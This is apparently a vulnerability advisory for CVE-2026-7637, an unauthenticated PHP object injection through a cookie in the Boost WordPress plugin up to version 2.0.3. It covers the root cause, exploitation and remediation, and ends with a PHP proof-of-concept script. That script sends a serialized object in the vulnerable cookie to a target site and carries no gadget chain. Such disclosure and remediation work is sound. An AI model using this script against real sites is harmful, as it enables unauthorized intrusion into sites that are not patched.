Atomic Edge analysis of CVE-2026-7637 (metadata-based): This vulnerability affects the Boost plugin for WordPress versions up to and including 2.0.3. It is an unauthenticated PHP Object Injection vulnerability with a CVSS score of 9.8, classified as CWE-502 (Deserialization of Untrusted Data). The vulnerability resides in how the plugin processes the STYXKEY-BOOST_USER_LOCATION cookie without proper sanitization.
Root Cause: The plugin likely retrieves and calls PHP’s unserialize() or a similar deserialization function on the STYXKEY-BOOST_USER_LOCATION cookie value. This cookie is used to store user-specific location data for caching or personalization features. Atomic Edge research infers that the plugin does not validate or sanitize the cookie input before deserialization. No code diff was available to confirm the exact vulnerable function, but the CWE classification strongly indicates a missing check on the cookie value before deserialization.
Exploitation: An unauthenticated attacker sends an HTTP request containing a crafted STYXKEY-BOOST_USER_LOCATION cookie with a malicious serialized PHP object. The attack vector is the front-end request, as the cookie is processed during page load. No specific AJAX action or REST endpoint is required. The attacker can inject arbitrary PHP objects. If a POP chain exists in another plugin or theme on the same site, the attacker can leverage it to execute arbitrary code, delete files, or exfiltrate data.
Remediation: The fix must replace the insecure unserialize() call with a safe alternative. The recommended approach is to use json_decode() and json_encode() for handling the cookie data, or to implement a whitelist of allowed classes if deserialization is required. The plugin should also validate the cookie structure using a hash or signature to prevent tampering. Atomic Edge analysis suggests the patch in version 2.0.4 likely implements these changes.
Impact: Successful exploitation can lead to complete compromise of the WordPress site. An attacker could achieve remote code execution, delete arbitrary files, or access sensitive data, depending on available POP chains. The CVSS vector indicates high impact on confidentiality, integrity, and availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7637 - Boost <= 2.0.3 - Unauthenticated PHP Object Injection via STYXKEY-BOOST_USER_LOCATION Cookie
// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
// Exploit parameters
// Since no specific POP chain is provided, we demonstrate injection of a generic serialized object
// In a real attack, the payload would be crafted based on available POP chains (e.g., from other plugins/themes)
// This PoC sends a malformed serialized object to trigger PHP object instantiation
// Create a malicious serialized payload (example: creates a stdClass object)
// In real exploitation, use a proper POP chain gadget
$malicious_object = new stdClass();
$malicious_object->test = 'injected';
$payload = serialize($malicious_object);
// URL-encode for cookie
$cookie_value = urlencode($payload);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: STYXKEY-BOOST_USER_LOCATION=' . $cookie_value . ';'
));
// Send the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results
echo 'HTTP Response Code: ' . $http_code . PHP_EOL;
echo 'Request sent to: ' . $target_url . PHP_EOL;
echo 'Injected payload (serialized): ' . $payload . PHP_EOL;
echo PHP_EOL . 'Note: This PoC demonstrates the injection vector. Actual impact depends on presence of a POP chain in other installed plugins/themes.' . PHP_EOL;
